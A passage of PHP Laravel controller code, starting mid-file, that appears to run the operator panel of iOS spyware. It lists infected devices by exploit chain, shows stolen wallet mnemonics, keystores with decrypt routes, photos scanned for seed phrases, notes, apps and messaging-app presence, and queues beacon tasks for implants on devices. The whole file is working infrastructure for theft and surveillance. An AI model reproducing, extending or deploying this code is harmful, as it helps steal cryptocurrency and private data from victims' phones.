isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); return view('admin.devices.index', [ 'portal' => $this->portal(), 'agents' => $agents, ]); } public function data(Request $request) { $filters = $this->filtersFrom($request); $q = $this->filteredQuery($filters); $sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'created_at'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'created_at'; } $q->orderBy('devices.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['devices.*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (Device $d) use ($portal) { return [ 'id' => $d->id, 'device_id' => $d->device_id, 'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA), 'channel_id' => $d->channel_id ?: '', 'source_domain' => $d->source_domain ?: '', 'device_model' => $d->device_model ?: '', 'ios_version' => $d->ios_version ?: '', 'ip' => $d->ip ?: '', 'has_wallet' => (int) $d->has_wallet, 'wallet_names' => $d->walletNameList(), 'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0, 'has_telegram' => $d->hasTelegram() ? 1 : 0, 'im_names' => $d->imNameList(), 'album_storage' => $d->albumStorageEnabled() ? 1 : 0, 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $d), 'destroy_url' => route($portal.'.devices.destroy', $d), ]; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } public function show(Device $device, Request $request) { $this->authorizeDevice($device); $tab = $request->query('tab', 'wallets'); if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) { $tab = 'wallets'; } $addressSources = collect(); $addressChains = collect(); if ($tab === 'wallets') { $addressSources = $device->addresses() ->whereNotNull('source') ->where('source', '!=', '') ->distinct() ->orderBy('source') ->pluck('source') ->values(); $addressChains = $device->addresses() ->whereNotNull('chain_type') ->where('chain_type', '!=', '') ->distinct() ->orderBy('chain_type') ->pluck('chain_type') ->values(); } $device->load(['beaconTasks']); $queueState = ['pending' => [], 'dispatched' => [], 'done' => []]; $queueSchema = []; if ((int) $device->chain === Device::CHAIN_DARKSWORD) { $queue = app(\App\Services\DsBeaconQueue::class); $queueState = $queue->getQueueState($device); $queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA; } return view('admin.devices.show', [ 'device' => $device, 'tab' => $tab, 'addressSources' => $addressSources, 'addressChains' => $addressChains, 'portal' => $this->portal(), 'queueState' => $queueState, 'queueSchema' => $queueSchema, 'can_reveal' => $this->canRevealMnemonics(), 'google_bound' => $this->googleBoundForReveal(), 'google2fa_url' => $this->google2faUrl(), 'can_clear_photos' => $this->canClearPhotos(), 'show_scan' => $this->agentCanSeeScan(), ]); } public function tabData(Device $device, Request $request) { $this->authorizeDevice($device); $tab = (string) $request->query('tab', 'wallets'); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; $field = (string) $request->query('field', 'id'); return match ($tab) { 'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page), 'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page), 'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page), 'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page), 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), 'events' => $this->paginateEvents($device, $field, $order, $limit, $page), default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]), }; } public function photo(Device $device, int $photo, PhotoPreview $preview, PhotoOrigin $origin) { $this->authorizeDevice($device); $row = $device->photos()->whereKey($photo)->firstOrFail(); abort_unless($origin->ensureLocal($row), 404); $abs = Storage::disk('local')->path($row->path); $out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: '')); if ((string) request()->query('seen', '') === '1') { $this->markPhotoRead($row); } return response($out['bytes'], 200) ->header('Content-Type', $out['mime']); } public function update(Request $request, Device $device) { $this->authorizeDevice($device); $data = $request->validate([ 'album_storage' => ['required', 'integer', 'in:0,1'], ]); $device->album_storage = (int) $data['album_storage'] === 1; $device->save(); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'id' => $device->id, 'album_storage' => $device->albumStorageEnabled() ? 1 : 0, ], ]); } public function clearPhotos(Device $device) { if (! $this->canClearPhotos()) { return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403); } $this->authorizeDevice($device); $deletedFiles = $this->deletePhotoFiles($device); app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $deletedRows = $device->photos()->delete(); $this->deleteStorageDir('c2/photos/'.$device->device_id); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'deleted_rows' => (int) $deletedRows, 'deleted_files' => $deletedFiles, ], ]); } public function destroy(Device $device) { $this->authorizeDevice($device); $listUrl = route($this->portal().'.devices.index'); $started = microtime(true); $ctx = $this->purgeContext($device); Log::info('device_purge start', $ctx); try { $this->purgeDevice($device, $ctx); } catch (\Throwable $e) { Log::error('device_purge failed', $ctx + [ 'ms' => (int) ((microtime(true) - $started) * 1000), 'error' => $e->getMessage(), 'class' => $e::class, 'at' => $e->getFile().':'.$e->getLine(), ]); return response()->json([ 'code' => 1, 'msg' => '删除失败:'.$e->getMessage(), ], 500); } Log::info('device_purge done', $ctx + [ 'ms' => (int) ((microtime(true) - $started) * 1000), ]); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'list_url' => $listUrl, ], ]); } /** * @param array $ctx */ private function purgeDevice(Device $device, array $ctx): void { $this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) { $n = $this->deletePhotoFiles($device); Log::info('device_purge photos', $ctx + ['deleted_files' => $n]); }); $this->purgeStep($ctx, 'forget_previews', function () use ($device) { app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); }); foreach ([ 'c2/photos/'.$device->device_id, 'c2/inbox/'.$device->device_id, 'c2/plugin-sessions/'.$device->device_id, ] as $dir) { $this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx)); } $this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device)); $this->purgeStep($ctx, 'db_transaction', function () use ($device) { DB::transaction(function () use ($device) { $device->apps()->delete(); $device->events()->delete(); $device->mnemonicFindings()->delete(); $device->noteScans()->delete(); $device->photos()->delete(); $device->notes()->delete(); $device->addresses()->delete(); $device->mnemonics()->delete(); $device->keystores()->delete(); $device->pluginSessions()->delete(); $device->smsReports()->delete(); $device->delete(); }); }); } /** * @param array $ctx */ private function purgeDarkSwordLogs(Device $device, array $ctx): void { $keys = $this->deviceLogKeys($device); if ($keys === []) { return; } $chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete(); $visits = PageVisit::query()->whereIn('client_uid', $keys)->delete(); Log::info('device_purge ds_rows', $ctx + [ 'keys' => $keys, 'ds_chain_logs' => $chain, 'page_visits' => $visits, ]); $this->purgeDsFileLogs($keys, $ctx); } /** * @return list */ private function deviceLogKeys(Device $device): array { $raw = trim((string) $device->device_id); $hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? ''); $keys = []; foreach ([$raw, strtoupper($raw), $hex] as $key) { if ($key !== '' && ! in_array($key, $keys, true)) { $keys[] = $key; } } return $keys; } private function deletePhotoFiles(Device $device): int { $deletedFiles = 0; $fails = []; $disk = Storage::disk('local'); foreach ($device->photos()->get(['id', 'path']) as $photo) { $path = trim((string) ($photo->path ?? '')); if ($path === '' || ! $disk->exists($path)) { continue; } try { if ($disk->delete($path)) { $deletedFiles++; } else { $fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id]; } } catch (\Throwable $e) { $fails[] = $this->pathDebug($disk->path($path)) + [ 'photo_id' => $photo->id, 'error' => $e->getMessage(), ]; } } if ($fails !== []) { Log::warning('device_purge photo_file_fails', [ 'id' => $device->id, 'device_id' => $device->device_id, 'fails' => array_slice($fails, 0, 8), 'fail_count' => count($fails), ]); } return $deletedFiles; } /** * @param array $ctx */ private function deleteStorageDir(string $dir, array $ctx = []): void { $disk = Storage::disk('local'); $abs = $disk->path($dir); $probe = $this->pathDebug($abs); try { $exists = $disk->directoryExists($dir); } catch (\Throwable $e) { Log::warning('device_purge dir_stat_failed', $ctx + [ 'dir' => $dir, 'path' => $probe, 'error' => $e->getMessage(), ]); return; } if (! $exists) { return; } try { $ok = $disk->deleteDirectory($dir); if ($ok) { Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]); return; } Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]); } catch (\Throwable $e) { Log::warning('device_purge dir_delete_failed', $ctx + [ 'dir' => $dir, 'path' => $probe, 'error' => $e->getMessage(), ]); try { $disk->deleteDirectory($dir); } catch (\Throwable $retry) { Log::warning('device_purge dir_delete_retry_failed', $ctx + [ 'dir' => $dir, 'path' => $this->pathDebug($abs), 'error' => $retry->getMessage(), ]); } } } /** * @param array $ctx */ private function purgeStep(array $ctx, string $step, callable $fn): void { $t = microtime(true); Log::info('device_purge step', $ctx + ['step' => $step]); try { $fn(); } catch (\Throwable $e) { Log::error('device_purge step_failed', $ctx + [ 'step' => $step, 'ms' => (int) ((microtime(true) - $t) * 1000), 'error' => $e->getMessage(), 'class' => $e::class, 'at' => $e->getFile().':'.$e->getLine(), ]); throw $e; } } /** * @return array */ private function purgeContext(Device $device): array { $uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid(); $user = function_exists('posix_getpwuid') ? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid) : (string) $uid; return [ 'id' => $device->id, 'device_id' => $device->device_id, 'php_user' => $user, 'php_uid' => $uid, ]; } /** * @return array */ private function pathDebug(string $abs): array { $info = [ 'abs' => $abs, 'exists' => file_exists($abs), 'is_dir' => is_dir($abs), 'readable' => is_readable($abs), 'writable' => is_writable($abs), ]; if (! file_exists($abs)) { return $info; } $info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4); $ownerUid = @fileowner($abs); $info['owner_uid'] = $ownerUid; if (function_exists('posix_getpwuid') && is_int($ownerUid)) { $info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid; } return $info; } private function unmonitorAddresses(Device $device): void { $addresses = $device->addresses()->where('monitor', 1)->get(); if ($addresses->isEmpty()) { return; } try { $svc = app(TokenviewMonitorService::class); } catch (\Throwable) { return; } foreach ($addresses as $address) { try { $address->monitor = 0; $address->monitor_synced = false; $address->monitor_failures = 0; $svc->syncMonitor($address); } catch (\Throwable $e) { Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [ 'device_id' => $device->id, 'address_id' => $address->id, ]); } } } private function authorizeDevice(Device $device): void { if ($agent = $this->agent()) { $ids = AgentScope::channelIdsFor($agent); abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403); } } private function markPhotoRead(Photo $photo): void { [$guard, $actorId] = $this->viewerActor(); if ($guard === null || $actorId === null) { return; } try { PhotoRead::mark($photo, $guard, $actorId); } catch (\Throwable) { // Serving the image still succeeds if the read row cannot be written. } } private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q = $device->photos(); // sensitive=1 → x_hit > 0(含敏感词) if ((string) $request->query('sensitive', '') === '1') { $q->where('x_hit', '>', 0); } [$guard, $actorId] = $this->viewerActor(); if ($guard !== null && $actorId !== null) { PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read')); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); $readIds = ($guard !== null && $actorId !== null) ? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all()) : []; $showScan = $this->agentCanSeeScan(); $data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds, $showScan) { return [ 'id' => $photo->id, 'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]), 'sha256' => $photo->sha256 ?: '', 'size' => $photo->size, 'x_hit' => $photo->x_hit, 'upload_count' => $photo->upload_count, 'process_index' => $photo->process_index, 'text_count' => $photo->text_count, 'barcode_count' => $photo->barcode_count, 'scan_status' => $showScan ? (int) $photo->scan_status : 0, 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label((int) $photo->scan_status) : '', 'read' => in_array($photo->id, $readIds, true) ? 1 : 0, 'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'), ]; })->values(); $scan = $showScan ? app(\App\Services\MnemonicScanService::class)->photoProgress($device->id) : null; return $this->layuiPage($paginator->total(), $data, $scan); } private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q = $device->addresses(); $source = trim((string) $request->query('source', '')); if ($source !== '') { $q->where('source', $source); } $chainType = trim((string) $request->query('chain_type', '')); if ($chainType !== '') { $q->where('chain_type', $chainType); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (WalletAddress $addr) { $coins = $addr->formattedCoins(); return [ 'id' => $addr->id, 'source' => $addr->source ?: '', 'chain_type' => $addr->chain_type ?: '', 'address' => $addr->address, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], 'monitor' => (int) $addr->monitor, 'monitor_synced' => (bool) $addr->monitor_synced, 'monitor_failures' => (int) $addr->monitor_failures, 'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $canReveal = $this->canRevealMnemonics(); $data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) { return [ 'id' => $w->id, 'source' => $w->source ?: '', 'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic), 'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'), 'can_reveal' => $canReveal, 'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($w->id) : '', ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $cols = WalletKeystore::listColumns(); $paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { $stats = $row->listStats(); return [ 'id' => $row->id, 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, 'kind' => $stats['kind'], 'item_count' => $stats['item_count'], 'summary' => $stats['summary'], 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'items_url' => route($portal.'.keystores.items', $row->id), 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateApps(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'is_wallet'; $order = 'desc'; } $q = $device->apps(); if ($field === 'is_wallet') { $q->orderByDesc('is_wallet')->orderBy('name'); } else { $q->orderBy($field, $order); } $paginator = $q->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (DeviceApp $app) { return [ 'id' => $app->id, 'name' => $app->name ?: '', 'bundle_id' => $app->bundle_id ?: '', 'version' => $app->version ?: '', 'is_wallet' => (bool) $app->is_wallet, ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page) { $note = $device->notes()->orderByDesc('id')->first(); $items = $note ? $note->items() : []; if (strtolower($order) === 'asc') { $items = array_reverse($items); } $total = count($items); $slice = array_slice($items, ($page - 1) * $limit, $limit); $reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s'); $scans = $note ? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key') : collect(); $showScan = $this->agentCanSeeScan(); $data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans, $showScan) { $index = (($page - 1) * $limit) + $i; $key = \App\Models\NoteScan::itemKey($item, $index); $status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING); return [ 'id' => $index + 1, 'title' => $item['title'] ?? '', 'body' => $item['body'] ?? '', 'scan_status' => $showScan ? $status : 0, 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label($status) : '', 'created_at' => $reportedAt ?: '', ]; }); $scan = $showScan ? app(\App\Services\MnemonicScanService::class)->noteProgress($device) : null; return $this->layuiPage($total, $data, $scan); } private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'event_name', 'desc', 'created_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (DeviceEvent $ev) { return [ 'id' => $ev->id, 'event_name' => $ev->event_name ?: '', 'desc' => $ev->desc ?: '', 'context' => $ev->context_json ? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : '', 'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function agentCanSeeScan(): bool { return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true); } /** * @param Collection>|array> $data */ private function layuiPage(int $count, $data, ?array $scan = null) { $payload = [ 'code' => 0, 'msg' => '', 'count' => $count, 'data' => $data, ]; if ($scan !== null) { $payload['scan'] = $scan; } return response()->json($payload); } /** * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { $hasWallet = $request->query('has_wallet'); $hasWalletInt = null; if (in_array((string) $hasWallet, ['0', '1', '2'], true)) { $hasWalletInt = (int) $hasWallet; } $hasIm = strtolower(trim((string) $request->query('has_im', ''))); if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) { $hasIm = ''; } return [ 'device_key' => trim((string) $request->query('device_key', '')), 'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))), 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), 'ios' => trim((string) $request->query('ios', '')), 'installed_from' => trim((string) $request->query('installed_from', '')), 'installed_to' => trim((string) $request->query('installed_to', '')), 'has_wallet' => $hasWalletInt, 'has_im' => $hasIm, 'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')), ]; } /** * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { $q = Device::query()->select('devices.*'); AgentScope::applyDeviceChannelScope($q, $this->agent()); if ($filters['device_key'] !== '') { $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); } if ($filters['chain'] !== null) { $q->where('devices.chain', $filters['chain']); } if ($filters['channel_id'] !== '') { $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); } if ($filters['model'] !== '') { $q->where('devices.device_model', 'like', '%'.$filters['model'].'%'); } if ($filters['ip'] !== '') { $q->where('devices.ip', 'like', '%'.$filters['ip'].'%'); } if ($filters['ios'] !== '') { $q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%'); } if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) { $q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10)); } if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) { $q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10)); } if ($filters['has_wallet'] !== null) { $q->where('devices.has_wallet', $filters['has_wallet']); } if ($filters['has_im'] === 'yes') { $q->where(function (Builder $inner) { $inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true); }); } elseif ($filters['has_im'] === 'none') { $q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false); } elseif ($filters['has_im'] === 'whatsapp') { $q->where('devices.has_whatsapp', true); } elseif ($filters['has_im'] === 'telegram') { $q->where('devices.has_telegram', true); } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']); } return $q; } private function parseChainFilter(mixed $raw): ?int { $value = is_string($raw) ? strtolower(trim($raw)) : $raw; if ($value === '' || $value === null) { return null; } if ($value === 1 || $value === '1' || $value === 'coruna') { return Device::CHAIN_CORUNA; } if ($value === 2 || $value === '2' || $value === 'darksword') { return Device::CHAIN_DARKSWORD; } return null; } private function canClearPhotos(): bool { if ($this->isAgentPortal()) { return false; } $admin = auth('admin')->user(); return $admin instanceof Admin && $admin->isSuper(); } // ── Beacon queue management ──────────────────────────────────────────── /** * Add a task to the device's beacon queue. */ public function queueAdd(Device $device, Request $request) { $this->authorizeDevice($device); $request->validate([ 'type' => 'required|string|max:64', 'params' => 'nullable|array', ]); $type = (string) $request->input('type'); $params = $request->input('params'); /** @var DsBeaconQueue $queue */ $queue = app(DsBeaconQueue::class); $task = $queue->addTask($device, $type, $params); return response()->json([ 'code' => 0, 'msg' => "已添加任务: {$task['type']}", 'data' => $task, ]); } /** * Remove a task from the device's beacon queue. */ public function queueRemove(Device $device, Request $request) { $this->authorizeDevice($device); $request->validate([ 'task_id' => 'required|string', ]); $taskId = (string) $request->input('task_id'); /** @var DsBeaconQueue $queue */ $queue = app(DsBeaconQueue::class); $removed = $queue->removeTask($device, $taskId); if (! $removed) { return response()->json([ 'code' => 1, 'msg' => '任务不存在或已下发', ]); } return response()->json([ 'code' => 0, 'msg' => '已移除任务', ]); } /** * Reorder tasks in the device's beacon queue. */ public function queueReorder(Device $device, Request $request) { $this->authorizeDevice($device); $request->validate([ 'task_ids' => 'required|array', 'task_ids.*' => 'integer', ]); /** @var DsBeaconQueue $queue */ $queue = app(DsBeaconQueue::class); $queue->reorderTasks($device, $request->input('task_ids', [])); return response()->json([ 'code' => 0, 'msg' => '队列顺序已更新', ]); } }